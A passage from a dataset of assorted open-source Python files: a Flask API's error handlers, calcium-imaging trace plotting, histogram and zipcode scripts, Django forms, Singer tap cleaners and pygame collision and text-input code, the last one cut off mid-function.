drink_id exists\n if drink_id is None:\n abort(422)\n\n drink = Drink.query.get(drink_id)\n\n # check if drink exists\n if drink is None:\n abort(404)\n\n drink.delete()\n\n return jsonify({\n 'success': False,\n 'delete': drink_id\n })\n\n\n''' Error handlers '''\n\n\n@app.errorhandler(400)\ndef bad_request(error):\n return jsonify({\n 'success': False,\n 'error': 400,\n 'message': 'Bad request'\n }), 400\n\n\n@app.errorhandler(401)\ndef unauthorized(error):\n return jsonify({\n 'success': False,\n 'error': 401,\n 'message': 'Unauthorized'\n }), 401\n\n\n@app.errorhandler(403)\ndef forbidden(error):\n return jsonify({\n 'success': False,\n 'error': 403,\n 'message': 'Forbidden'\n }), 403\n\n\n@app.errorhandler(404)\ndef not_found(error):\n return jsonify({\n 'success': False,\n 'error': 404,\n 'message': 'Not found'\n }), 404\n\n\n@app.errorhandler(422)\ndef unprocessable_entity(error):\n return jsonify({\n 'success': False,\n 'error': 422,\n 'message': 'Unprocessable entity'\n }), 422\n\n\n@app.errorhandler(500)\ndef internal_server_error(error):\n return jsonify({\n 'success': False,\n 'error': 500,\n 'message': 'Internal server error'\n }), 500\n\n\n@app.errorhandler(AuthError)\ndef auth_error(error):\n return jsonify(error.error), error.status_code\n","repo_name":"nevendyulgerov/udacity-fs-coffee-shop","sub_path":"backend/src/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":5460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38515483035","text":"'''\nprerequisite: fluorescent traces extracted by MATLAB script. \nfor details of the whole pipeline, see: https://benchling.com/s/etr-GCcRV7cmhRg7u4JQuDfr?m=slm-n9tOEQ0aekst3JyASOkw\n\n'''\n\n# %%\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\nimport os\nimport scipy.io\nimport matplotlib.pyplot as plt\nimport itertools\nfrom functions.plt_functions import plt_categorical_grid\nimport plotly.express as px\nimport plotly.graph_objs as go\n\nDATA_FILE = 'dFF_ksDensity' # dFF_adj dFF_ksDensity rawF\nroot = \"/Volumes/LabDataPro/CB/111111_fish1 blahblah\"\nif_share_Y_axis_scale = False\n\n# %%\nfig_dir = os.path.join(os.getcwd(),'figures')\ntry:\n os.makedirs(fig_dir)\nexcept:\n pass\n\n# %%\nraw_df = pd.read_csv(os.path.join(root, \"rawF_df.csv\"))\nmat = scipy.io.loadmat(os.path.join(root, DATA_FILE+'.mat'))[DATA_FILE]\ndFF = pd.DataFrame(data=mat)\n\nif len(raw_df.columns) > len(dFF.columns):\n col_diff = len(raw_df.columns) - len(dFF.columns) \n dFF = pd.concat([dFF, raw_df.iloc[:,-col_diff:]], axis=1)\n\ndFF.columns = [sub.replace('rawF', 'roi_') for sub in raw_df.columns]\n\nnreps = dFF.groupby(['area','repeat']).ngroups\ntrial_frames = int(len(raw_df)/nreps)\n\ndFF = dFF.assign(\n frames = list(np.arange(trial_frames)) * nreps\n)\n\n# find fish info\nfish_info = root.split(\"/\")[-1].split(\" \")\nexp_date, fishNum = fish_info[0].split(\"_\")\nexp_date = int(exp_date)\nfishNum = fishNum.split(\"fish\")[1]\nfishNum = int(fishNum)\n\n# find area names (which is also saved in metadata files)\narea_cond_dict = {}\n\nfor file in os.listdir(root):\n d = os.path.join(root, file)\n if os.path.isdir(d):\n if str.startswith(file, \"area\"):\n area, cond = file.split(\"_\")\n area_number = area.split(\"area\",1)[1]\n area_cond_dict[area_number] = cond\n\n# this is cumbersome, but read fish metadata to get frame rate\n\nROI_metadata = pd.read_csv(os.path.join(root, \"ROI_metadata.csv\"))\n\nfish_metaDATA_FILE = []\nparent_dir = os.path.abspath(os.path.join(root, os.pardir))\nfor file in os.listdir(parent_dir):\n if str.endswith(file, \" metadata.csv\"):\n fish_metaDATA_FILE.append(os.path.join(parent_dir, file))\n\nframe_rate = pd.Series(dtype='float64')\nfish_metaDATA_FILE.sort()\nfor fish_metaDATA_FILE_sel in fish_metaDATA_FILE:\n if frame_rate.empty:\n fish_metadata = pd.read_csv(fish_metaDATA_FILE_sel)\n try:\n frame_rate = fish_metadata.loc[\n (fish_metadata['exp_date']==exp_date) & (fish_metadata['fish_num']==fishNum), 'frame_rate'\n ]\n except:\n pass\n else:\n break\n\nframe_rate = frame_rate.iloc[0]\nvol_rate = frame_rate / (ROI_metadata['zPos'].max() + 1)\ntime_stamp = np.arange(0,trial_frames/vol_rate+1/vol_rate,1/vol_rate)[1:]\n\n# sti_frames = trial_frames / nsti\n\n#%%\ndFF_long = pd.wide_to_long(dFF.reset_index(), stubnames='roi', i='index', j='ROI', sep='_').reset_index()\ndFF_long = dFF_long.rename(columns={'roi':DATA_FILE})\ndFF_long = dFF_long.assign(\n exp_cond = dFF_long['area'].astype(str).map(area_cond_dict),\n fish_id = fish_info[0],\n fish_info = fish_info[1],\n time_stamp = dFF_long.frames.map({dFF_long.frames.unique()[i]: time_stamp[i] for i in range(len(time_stamp))})\n)\n\nROI_metadata = ROI_metadata.assign(\n fish_id = fish_info[0],\n fish_info = fish_info[1],\n)\n\n# %%\nf1 = sns.relplot(\n data=dFF_long,\n x='time_stamp',\n y=DATA_FILE,\n row='ROI',\n height=2,\n aspect=2.5,\n kind='line',\n facet_kws={'sharey': if_share_Y_axis_scale, 'sharex': True}\n)\n\nif if_share_Y_axis_scale:\n fig_suffix = 'shareY'\nelse:\n fig_suffix = \"\"\n \nplt.savefig(fig_dir+f\"/ROI_traces_{fig_suffix}.pdf\",format='PDF')\n# %%\n","repo_name":"YunluZhu/Zhu-FIA-autoROI","sub_path":"ana_traces_Python/archive/_check_traces_CB.py","file_name":"_check_traces_CB.py","file_ext":"py","file_size_in_byte":3671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"3379289535","text":"from pecan import response, expose\nfrom ceph_installer.hooks import system_checks, SystemCheckError\n\n\nclass StatusController(object):\n\n @expose('json')\n def index(self):\n for check in system_checks:\n try:\n check()\n except SystemCheckError as system_error:\n response.status = 500\n return {'message': system_error.message}\n return dict(message=\"ok\")\n","repo_name":"ceph/ceph-installer","sub_path":"ceph_installer/controllers/status.py","file_name":"status.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"48"} +{"seq_id":"43492313906","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom .read_multi_hist import read_multi_hist\nfrom ...file_managment.save_vars_to_file import save_vars_to_file\n\ndef multi_stack_hist_complex_count(FullHist: list, FileNum: int, InitialTime: float, FinalTime: float,\n SpeciesList: list, xAxis: str, DivideSpecies: str, DivideSize: int,\n BarSize: int = 1, ExcludeSize: int = 0, ShowFig: bool = True, SaveFig: bool = False, SaveVars: bool = False):\n \"\"\"Creates a stacked histogram from histogram.dat (multi-species) that shows the average number of each type of \n complex species (based on protein composition) over the whole sim. \n\n Args:\n FullHist (list): Holds all of the information from the .dat file\n FileNum (int): Number of the total input files (file names should be [fileName]_1,[fileName]_2,...)\n InitialTime (float): The starting time. Must not be smaller / larger then times in file.\n FinalTime (float): The ending time. Must not be smaller / larger then times in file.\n xAxis (str): Species shown on X-axis.\n DivideSpecies (str): The name of the species that will be seperated by size.\n DivideSize (int): The value that separates the size of dissociate complexes. (only changes color of graph)\n SpeciesList (list): The names of the species you want to examine. Should be in the .dat file.\n BarSize (int, optional): The size of each data bar in the X-dimension. Defaults to 1.\n ExcludeSize (int, optional): Monomers in the complex that are smaller or equal to this number will not be included. \n ShowFig (bool, optional): If the plot is shown. Defaults to True.\n SaveFig (bool, optional): If the plot is saved. Defaults to False.\n SaveVars (bool, optional): If the variables are saved to a file. Defaults to false.\n\n Returns:\n Histogram. X-axis = size of selected species, Y-axis = average number of each corresponds.\n \"\"\"\n\n above_list = []\n equal_list = []\n below_list = []\n max_size = 0 # largest complex size\n\n #get index of the xAxis and devide species\n x_species_index = SpeciesList.index(xAxis)\n divide_species_index = SpeciesList.index(DivideSpecies)\n\n #for each file\n for hist_list in FullHist:\n\n total_above_dict = {}\n total_equal_dict = {}\n total_below_dict = {}\n\n data_count = 0\n\n #for every time step\n for time_step in hist_list:\n if time_step != []:\n time = time_step[0]\n if InitialTime <= time <= FinalTime:\n data_count += 1\n\n #for every protein complex\n for protein_complex in time_step[1:]:\n \n #if number of selected proteisn in the complex\n if xAxis == 'tot' and DivideSpecies in SpeciesList:\n total_size = sum(protein_complex[0:-1])\n elif xAxis in SpeciesList and DivideSpecies in SpeciesList:\n total_size = protein_complex[x_species_index]\n \n if total_size >= ExcludeSize:\n divide_spe_size = protein_complex[divide_species_index]\n \n #check if there is already a key for a protein of this size. If there isn't add it\n if not total_size in total_above_dict:\n total_above_dict[total_size] = 0\n total_equal_dict[total_size] = 0\n total_below_dict[total_size] = 0\n\n #if complex size not included, initlize this size, and add the total number of this kind of complex to lists of above/below\n if divide_spe_size > DivideSize:\n total_above_dict[total_size] += (protein_complex[-1])\n elif divide_spe_size == DivideSize:\n total_equal_dict[total_size] += (protein_complex[-1])\n else:\n total_below_dict[total_size] += (protein_complex[-1])\n \n #find max size and devide each protein by # of timesteps to get average\n for key in total_above_dict:\n total_above_dict[key] = total_above_dict[key] / data_count\n if max_size < int(key):\n max_size = int(key)\n n_list = list(range(1,int(max_size+1)))\n \n for key in total_equal_dict:\n total_equal_dict[key] = total_equal_dict[key] / data_count\n if max_size < int(key):\n max_size = int(key)\n n_list = list(range(1,int(max_size+1)))\n \n for key in total_below_dict:\n total_below_dict[key] = total_below_dict[key] / data_count\n if max_size < int(key):\n max_size = int(key)\n n_list = list(range(1,int(max_size+1)))\n\n #add dictionaries to main lists\n above_list.append(total_above_dict)\n equal_list.append(total_equal_dict)\n below_list.append(total_below_dict)\n\n\n #add dictionary values to filled lists and transposes them for prep for mean\n above_list_filled = np.zeros([max_size,FileNum])\n for indexX,dict in enumerate(above_list):\n for key in dict:\n above_list_filled[int(key)-1][indexX] += dict[key]\n\n equal_list_filled = np.zeros([max_size,FileNum])\n for indexX,dict in enumerate(equal_list):\n for key in dict:\n equal_list_filled[int(key)-1][indexX] += dict[key]\n \n below_list_filled = np.zeros([max_size,FileNum])\n for indexX,dict in enumerate(below_list):\n for key in dict:\n below_list_filled[int(key)-1][indexX] += dict[key]\n \n #is it mean time?\n mean_above = []\n std_above = []\n mean_equal = []\n std_equal = []\n mean_below = []\n std_below = []\n for protein_size in above_list_filled:\n mean_above.append(np.nanmean(protein_size))\n std_above.append(np.nanstd(protein_size))\n for protein_size in equal_list_filled:\n mean_equal.append(np.nanmean(protein_size))\n std_equal.append(np.nanstd(protein_size))\n for protein_size in below_list_filled:\n mean_below.append(np.nanmean(protein_size))\n std_below.append(np.nanstd(protein_size))\n \n\n \n #will combine means together if bar size is too small\n mean_above_ = []\n mean_equal_ = []\n mean_below_ = []\n std_above_ = []\n std_equal_ = []\n std_below_ = []\n n_list_ = []\n temp_mean_above = 0\n temp_mean_equal = 0\n temp_mean_below = 0\n temp_std_above = 0\n temp_std_equal = 0\n temp_std_below = 0\n bar_size_count = 0\n for i in range(len(mean_above)):\n temp_mean_above += mean_above[i]\n temp_mean_equal += mean_equal[i]\n temp_mean_below += mean_below[i]\n temp_std_above += std_above[i]\n temp_std_equal += std_equal[i]\n temp_std_below += std_below[i]\n bar_size_count += 1\n if bar_size_count >= BarSize and i != len(mean_above) - 1:\n mean_above_.append(temp_mean_above)\n mean_equal_.append(temp_mean_equal)\n mean_below_.append(temp_mean_below)\n std_above_.append(temp_std_above)\n std_equal_.append(temp_std_equal)\n std_below_.append(temp_std_below)\n n_list_.append(n_list[i])\n temp_mean_above = 0\n temp_mean_equal = 0\n temp_mean_below = 0\n temp_std_above = 0\n temp_std_equal = 0\n temp_std_below = 0\n bar_size_count = 0\n \n mean_above_.append(temp_mean_above)\n mean_equal_.append(temp_mean_equal)\n mean_below_.append(temp_mean_below)\n std_above_.append(temp_std_above)\n std_equal_.append(temp_std_equal)\n std_below_.append(temp_std_below)\n n_list_.append(n_list[i])\n mean_above_ = np.array(mean_above_)\n mean_equal_ = np.array(mean_equal_)\n mean_below_ = np.array(mean_below_)\n std_above_ = np.array(std_above_)\n std_equal_ = np.array(std_equal_)\n std_below_ = np.array(std_below_)\n n_list_ = np.array(n_list_)\n \n #output variables\n if SaveVars:\n save_vars_to_file({\"x_mono_count\":n_list_, \"cmplx_count\":[mean_below_, mean_equal_, mean_above_], \"std\":[std_below_, std_equal_, std_above_]})\n #show figure!\n if ShowFig:\n if DivideSize != 0:\n below_label = DivideSpecies + '<' + str(DivideSize)\n equal_label = DivideSpecies + '=' + str(DivideSize)\n above_label = DivideSpecies + '>' + str(DivideSize)\n else:\n above_label = 'With ' + DivideSpecies\n equal_label = 'Without ' + DivideSpecies\n if FileNum != 1:\n if DivideSize != 0:\n plt.bar(n_list_, mean_below_, width=BarSize, color='C0',\n yerr=std_below_, label=below_label, ecolor='C3', capsize=2)\n plt.bar(n_list_, mean_equal_, width=BarSize, color='C1', yerr=std_equal_,\n bottom=mean_below_, label=equal_label, ecolor='C3', capsize=2)\n plt.bar(n_list_, mean_above_, width=BarSize, color='C2', yerr=std_above_,\n bottom=mean_below_+mean_equal_, label=above_label, ecolor='C3', capsize=2)\n else:\n if DivideSize != 0:\n plt.bar(n_list_, mean_below_, width=BarSize,\n color='C0', label=below_label, capsize=2)\n plt.bar(n_list_, mean_equal_, width=BarSize, color='C1',\n bottom=mean_below_, label=equal_label, capsize=2)\n plt.bar(n_list_, mean_above_, width=BarSize, color='C2',\n bottom=mean_below_+mean_equal_, label=above_label, capsize=2)\n if xAxis == 'tot':\n x_label_name = 'total monomers'\n else:\n x_label_name = xAxis\n plt.xlabel('Number of ' + x_label_name + ' in sigle complex')\n plt.ylabel('Count')\n plt.legend()\n plt.title('Histogram of Multi-component Assemblies')\n fig_name = 'stacked_histogram_of_' + xAxis + '_divided_by_' + DivideSpecies\n if SaveFig:\n plt.savefig(fig_name, dpi=500)\n plt.show()\n return n_list_, [mean_below_, mean_equal_, mean_above_], [std_below_, std_equal_, std_above_]\n\n\n","repo_name":"mjohn218/io_nerdss","sub_path":"ioNERDSSPyPi/ioNERDSS/functions/histograms/multi_species/multi_stack_hist_complex_count.py","file_name":"multi_stack_hist_complex_count.py","file_ext":"py","file_size_in_byte":10480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4853982358","text":"\"\"\"Coosto cleaners.\"\"\"\n# -*- coding: utf-8 -*-\n\nfrom types import MappingProxyType\nfrom tap_coosto.streams import STREAMS\nfrom datetime import datetime\nfrom typing import Any, Optional\n\n\nclass ConvertionError(ValueError):\n \"\"\"Failed to convert value.\"\"\"\n\n\ndef to_type_or_null(\n input_value: Any,\n data_type: Optional[Any] = None,\n nullable: bool = True,\n) -> Optional[Any]:\n \"\"\"Convert the input_value to the data_type.\n\n The input_value can be anything. This function attempts to convert the\n input_value to the data_type. The data_type can be a data type such as str,\n int or Decimal or it can be a function. If nullable is True, the value is\n converted to None in cases where the input_value == None. For example:\n a '' == None, {} == None and [] == None.\n\n Arguments:\n input_value {Any} -- Input value\n\n Keyword Arguments:\n data_type {Optional[Any]} -- Data type to convert to (default: {None})\n nullable {bool} -- Whether to convert empty to None (default: {True})\n\n Returns:\n Optional[Any] -- The converted value\n \"\"\"\n # If the input_value is not equal to None and a data_type input exists\n if input_value and data_type:\n # Convert the input value to the data_type\n try:\n return data_type(input_value)\n except ValueError as err:\n raise ConvertionError(\n f'Could not convert {input_value} to {data_type}: {err}',\n )\n\n # If the input_value is equal to None and Nullable is True\n elif not input_value and nullable:\n # Convert '', {}, [] to None\n return None\n\n # If the input_value is equal to None, but nullable is False\n # Return the original value\n return input_value\n\n\ndef clean_row(row: dict, mapping: dict) -> dict:\n \"\"\"Clean the row according to the mapping.\n\n The mapping is a dictionary with optional keys:\n - map: The name of the new key/column\n - type: A data type or function to apply to the value of the key\n - nullable: Whether to convert empty values, such as '', {} or [] to None\n\n Arguments:\n row {dict} -- Input row\n mapping {dict} -- Input mapping\n\n Returns:\n dict -- Cleaned row\n \"\"\"\n cleaned: dict = {}\n\n key: str\n key_mapping: dict\n\n # For every key and value in the mapping\n for key, key_mapping in mapping.items():\n\n # Retrieve the new mapping or use the original\n new_mapping: str = key_mapping.get('map') or key\n\n # Convert the value\n cleaned[new_mapping] = to_type_or_null(\n row[key],\n key_mapping.get('type'),\n key_mapping.get('null', True),\n )\n\n return cleaned\n\n\ndef clean_intervention_details(\n row: dict,\n) -> dict:\n \"\"\"Clean Coosto Intervention Details response_data.\n\n Arguments:\n response_data {dict} -- input response_data\n\n Returns:\n dict -- cleaned response_data\n \"\"\"\n # Get the mapping from the STREAMS\n mapping: Optional[dict] = STREAMS['intervention_details'].get(\n 'mapping',\n )\n\n # Change EPOCH format to Date Time\n string_date = datetime.fromtimestamp(int(row['date'])).strftime('%Y-%m-%d')\n row['date'] = string_date\n\n string_date = datetime.fromtimestamp(int(row['created'])).strftime('%Y-%m-%d')\n row['created'] = string_date\n\n return clean_row(row, mapping)\n\n\n# Collect all cleaners\nCLEANERS: MappingProxyType = MappingProxyType({\n 'intervention_details': clean_intervention_details,\n\n})\n","repo_name":"Yoast/singer-tap-coosto","sub_path":"tap_coosto/cleaners.py","file_name":"cleaners.py","file_ext":"py","file_size_in_byte":3508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72091257426","text":"import pygame\nimport map\nfrom global_vars import *\nimport enemy\n\nclass Collision:\n def AABB(rectA, rectB):\n return (rectA.x < rectB.x + rectB.width and \\\n rectA.x + rectA.width > rectB.x and \\\n rectA.y < rectB.y + rectB.height and \\\n rectA.y + rectA.height > rectB.y)\n \n def tile_hit(rect, inside = False):\n for y in range(rect.top // TILE_SIZE - 0, rect.bottom // TILE_SIZE + 1):\n for x in range(rect.left // TILE_SIZE - 0, rect.right // TILE_SIZE + 1):\n if map.Map.is_collidable(x, y):\n if inside:\n if pygame.Rect(x * TILE_SIZE, y * TILE_SIZE, TILE_SIZE, TILE_SIZE).contains(rect):\n return True\n elif (Collision.AABB(rect, pygame.Rect(x * TILE_SIZE, y * TILE_SIZE, TILE_SIZE, TILE_SIZE))):\n return True\n\n def enemy_hit(rect, inside = False):\n for e in enemy.Enemy.enemylist:\n if (Collision.AABB(rect, e.rect)):\n e.kill()\n return True\n\n #def draw_tile_hitlist(rect, display):\n # from game import Game\n # tmp_red = pygame.Surface((16, 16))\n # tmp_red.set_alpha(50)\n # tmp_zxc = tmp_red.copy()\n # tmp_red.fill((255,0,0))\n # tmp_red.fill((0,255,0))\n # for y in range(rect.top // TILE_SIZE - 0, rect.bottom // TILE_SIZE + 1):\n # for x in range(rect.left // TILE_SIZE - 0, rect.right // TILE_SIZE + 1):\n # if Map.is_collidable(x, y):\n # display.blit(tmp_red, (x * TILE_SIZE - Game.camera[0],y * TILE_SIZE - Game.camera[1]))\n # else:\n # display.blit(tmp_zxc, (x * TILE_SIZE - Game.camera[0],y * TILE_SIZE - Game.camera[1]))","repo_name":"AThit7/Projekt-PO","sub_path":"src/collision.py","file_name":"collision.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70892911185","text":"'''\n CBM900 Harddisk partitioning\n ----------------------------\n'''\n\nSLICE = 0x50c000\nNSLICE = 4\n\nclass CBM900_Partition():\n ''' The sizes are hardcoded in the device driver source code '''\n\n def __init__(self, this):\n if len(this) < NSLICE * SLICE:\n return\n\n this.taken = self\n for i in range(NSLICE):\n this.create(start=i * SLICE, stop=(i+1) * SLICE)\n\n this.add_interpretation(self, this.html_interpretation_children)\n","repo_name":"Datamuseum-DK/AutoArchaeologist","sub_path":"autoarchaeologist/unix/cbm900_partition.py","file_name":"cbm900_partition.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"48"} +{"seq_id":"42352047048","text":"from django import forms\n\nfrom .models import Viaje, Destino\nimport datetime\nfrom django.forms.extras.widgets import *\nfrom django.forms import ModelForm, Form\nfrom django.contrib.admin import widgets\nfrom bootstrap3_datepicker import *\nfrom datetimewidget.widgets import DateTimeWidget, DateWidget, TimeWidget\nfrom django.db import models\n\n\nclass ViajeForm(forms.ModelForm):\n\n\n class Meta:\n model = Viaje\n #start_date = forms.DateField(widget=SelectDateWidget)\n\n fields = '__all__'\n\n\n widgets = {\n #NOT Use localization and set a default format\n 'start_date': DateTimeWidget(usel10n=True, bootstrap_version=3),\n 'end_date' : DateTimeWidget(usel10n=True, bootstrap_version=3)\n }\n\n\nclass DestinoForm(forms.ModelForm):\n\n class Meta:\n model = Destino\n fields = '__all__'\n\n widgets = {\n #NOT Use localization and set a default format\n 'start_date': DateWidget(usel10n=True, bootstrap_version=3),\n 'end_date' : DateWidget(usel10n=True, bootstrap_version=3)\n }\n\n def clean(self):\n cleaned_data=super(DestinoForm,self).clean\n\n startdate = self.cleaned_data['start_date']\n enddate = self.cleaned_data['end_date']\n\n if startdate is None:\n raise forms.ValidationError(\"Fecha de inicio incompleta.\")\n if enddate is None:\n raise forms.ValidationError(\"Fecha de fin incompleta.\")\n else:\n if enddate < startdate:\n raise forms.ValidationError(\"Fecha de fin debe ser mayor a fecha de inicio\")\n\n\n\n\n\n\n\n\n","repo_name":"sebimg/viajes","sub_path":"viajesApp/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42325585583","text":"\"\"\"Python script that converts full line addresses (Google Places style) to zipcodes\r\n@author\r\n Shyam Thiagarajan\r\n@requires\r\n empty last line in addresses.txt\r\n zipcode.txt is clear\r\n@inputs\r\n addresses from addresses.txt\r\n@outputs\r\n zipcodes to zipcode.txt\r\nsample input address:\r\n 2115 US-92, Plant City, FL 33563, USA\r\nsample output zipcode:\r\n 33563\r\n\"\"\"\r\n\r\n\r\n\"\"\"Finds a fragment containing a zipcode\r\n@param address\r\n address line that contains zipcode\"\"\"\r\ndef findZipFromFragment(address):\r\n try:\r\n address = address.split(',')\r\n state_and_zip = str(address[len(address) - 2])\r\n state_zip_array = state_and_zip.split(' ')\r\n zip = state_zip_array[2]\r\n except:\r\n zip = 'error'\r\n return zip\r\n \r\n\r\n\"\"\"Determines if zipcode is invalid\r\n@param zip\r\n zipcode to test validity of\"\"\"\r\ndef zipIsInvalid(zip):\r\n return len(zip) > 7\r\n\r\n\r\n\"\"\"Updates content in zipfile\r\n@param zipfile\r\n file to write zipcode to\r\n@param zipcode\r\n zipcode to write, can be 'error'\r\n@updates zipfile\r\n\"\"\"\r\ndef updateZipFile(zipfile, zipcode):\r\n zipfile.write(zipcode + '\\n')\r\n print(zipcode)\r\n \r\n \r\n\"\"\"Main Method to convert addresses to zipcodes.\r\n@requires\r\n zipcode_in.txt is empty\r\n@updates\r\n content in zipcode_in.txt\"\"\"\r\ndef findZip():\r\n zipfile = open('zipcode.txt', 'a')\r\n with open(\"addresses.txt\", 'r') as f:\r\n for address in f:\r\n zipcode = findZipFromFragment(address)\r\n if zipIsInvalid(zipcode):\r\n zipcode = 'error'\r\n updateZipFile(zipfile, zipcode)\r\n\r\n\r\nif __name__ == '__main__':\r\n findZip()","repo_name":"ShyamW/Geocoding_Suite","sub_path":"Address_to_Zip/Address_to_Zip_for_Places_Api.py","file_name":"Address_to_Zip_for_Places_Api.py","file_ext":"py","file_size_in_byte":1644,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"43508004612","text":"import csv\nfrom datetime import datetime\n\n\ndef get_current_day():\n current_date = datetime.now()\n return current_date.day\n\n\ndef fibonacci(n: int) -> int:\n if n <= 0:\n raise Exception('fibonacci: Unexpected n')\n elif n == 1:\n return 0\n elif n == 2:\n return 1\n else:\n a, b = 0, 1\n for _ in range(3, n + 1):\n a, b = b, a + b\n return b\n\n\ndef format_date(date_string: str) -> str:\n date_format = \"%b %d, %Y %I:%M:%S %p\"\n parsed_date = datetime.strptime(date_string, date_format)\n formatted_date = parsed_date.strftime(\"%d %B %Y %H:%M:%S\")\n return formatted_date\n\n\ndef is_date(date_string: str) -> bool:\n date_format = \"%b %d, %Y %I:%M:%S %p\"\n try:\n datetime.strptime(date_string, date_format)\n return True\n except ValueError:\n return False\n\n\ndef write_csv(transactions, filename=\"output.csv\"):\n with open(filename, \"w\", newline=\"\", encoding=\"utf-8\") as csv_file:\n csv_writer = csv.writer(csv_file)\n for row_data in transactions:\n csv_writer.writerow(row_data)\n","repo_name":"DontParryMe/simbir_task","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42591419531","text":"import pygame\n\nclass Input:\n def __init__(self, surface, func, **args):\n INPUTS.append(self)\n if args.get(\"ATL\", True):\n inputs.append(self)\n\n self.no_text = args.get(\"noText\", \"Text\")\n self.text = args.get(\"text\", \"\")\n self.old_text = self.text\n self.text_color = args.get(\"text_color\", [255, 255, 255])\n self.pressed_text_color = args.get(\"pressed_text_color\", [225, 225, 225])\n self.color = args.get(\"color\", [150, 150, 150])\n self.pressed_color = args.get(\"pressed_color\", [100, 100, 100])\n self.stroke_color = args.get(\"stroke_color\", [100, 100, 100])\n self.pressed_stroke_color = args.get(\"pressed_stroke_color\", [70, 70, 70])\n self.cursor_color = args.get(\"cursor_color\", [0, 150, 255])\n self.start_time = args.get(\"cursor_tick_time\", 30)\n self.time = self.start_time\n self.direction = -1\n self.max_chars = args.get(\"max_chars\", 256)\n self.text_end = 0\n self.mode = 0\n self.render = args.get(\"render\", True)\n self.border_radius = args.get(\"border_radius\", -1)\n self.fill_size = args.get(\"fill_size\", 0)\n self.surface = surface\n self.key = args.get(\"key\", \"\")\n self.func = func\n self.content = args.get(\"content\", \"()\")\n self.cx = args.get(\"cx\", \"!n\")\n self.cy = args.get(\"cy\", \"!n\")\n self.width = args.get(\"width\", 200)\n self.height = args.get(\"height\", 50)\n self.x = args.get(\"x\", 0)\n self.y = args.get(\"y\", 0)\n self.stroke_size = args.get(\"stroke_size\", 0)\n self.text_offset = args.get(\"text_offset\", 0)\n self.font_path = args.get(\"fontPath\", None)\n self.adjust_dimensions_and_positions()\n \n def adjust_dimensions_and_positions(self):\n x = eval(self.x) if type(self.x) == str else self.x\n y = eval(self.y) if type(self.y) == str else self.y\n self.rect = pygame.Rect(x, y, self.width, self.height)\n if self.cx == \"right\":\n self.rect.x = self.surface.get_width() - self.width + x\n elif self.cx == \"center\":\n self.rect.x = self.surface.get_width() // 2 - self.width // 2 + x\n if self.cy == \"bottom\":\n self.rect.y = self.surface.get_height() - self.height + y\n elif self.cy == \"center\":\n self.rect.y = self.surface.get_height() // 2 + self.height // 2 + y\n self.font_size = self.rect.height // 2\n self.font = pygame.font.Font(self.font_path, self.font_size)\n self.cdw = pygame.Surface((self.rect.width, self.rect.height))\n self.cpw = pygame.Surface((self.rect.width, self.rect.height))\n\n self.cdw.fill((1, 1, 1))\n self.cpw.fill((1, 1, 1))\n self.cdw.set_colorkey((1, 1, 1))\n self.cpw.set_colorkey((1, 1, 1))\n\n pygame.draw.rect(self.cdw, self.color, (0, 0, self.rect.width, self.rect.height), self.fill_size, self.border_radius)\n pygame.draw.rect(self.cpw, self.pressed_color, (0, 0, self.rect.width, self.rect.height), self.fill_size, self.border_radius)\n \n if self.stroke_size > 0:\n pygame.draw.rect(self.cdw, self.stroke_color, (0, 0, self.rect.width, self.rect.height), self.stroke_size, self.border_radius)\n pygame.draw.rect(self.cpw, self.pressed_stroke_color, (0, 0, self.rect.width, self.rect.height), self.stroke_size, self.border_radius)\n\n def set_old_text(self):\n self.text = self.old_text\n self.end_text = 0\n self.check_text()\n\n def has_press(self, pos):\n if self.rect.collidepoint(pos) and self.mode == 0:\n self.old_text = self.text\n self.mode = 1\n pygame.key.start_text_input()\n return True\n elif pos == (-1, -1):\n self.mode = 1\n pygame.key.start_text_input()\n return True\n return False\n\n def has_unpress(self, pos, close_keyboard=True):\n if not self.rect.collidepoint(pos) and self.mode == 1:\n self.mode = 0\n if close_keyboard:\n pygame.key.stop_text_input()\n if self.func is not None:\n eval(f\"self.func{self.content}\")\n return True\n return False\n\n def check_text(self):\n self.text_end = 0\n try:\n while True:\n tx = self.font.render(self.text[self.text_end:-1] + self.text[-1], 1, (255, 255, 255))\n rect = pygame.Rect(tx.get_width(), 0, 0, 0)\n\n if rect.right + 20 > self.rect.width:\n self.text_end += 1\n continue\n else:\n break\n except:\n pass\n\n def press(self, key):\n\n if self.render and self.mode == 1:\n\n if key == \"ETR\":\n pygame.key.stop_text_input()\n self.mode = 0\n if self.func is not None:\n eval(f\"self.func{self.content}\")\n\n if key != \"BS\" and key != \"ETR\" and self.mode == 1 and len(self.text) < self.max_chars:\n self.text += key\n\n try:\n while True:\n tx = self.font.render(self.text[self.text_end:-1] + self.text[-1], 1, (255, 255, 255))\n rect = pygame.Rect(tx.get_width(), 0, 0, 0)\n\n if rect.right + 20 > self.rect.width:\n self.text_end += 1\n continue\n else:\n break\n except:\n pass\n\n elif key == \"BS\" and self.mode == 1 and self.text != '':\n self.text = self.text[:-1]\n if self.text_end > 0:\n self.text_end -= 1\n\n try:\n while True:\n tx = self.font.render(self.text[self.text_end:-1] + self.text[-1], 1, (255, 255, 255))\n rect = pygame.Rect(tx.get_width(), 0, 0, 0)\n\n if rect.right + 20 > self.rect.width:\n self.text_end += 1\n continue\n else:\n break\n except:\n 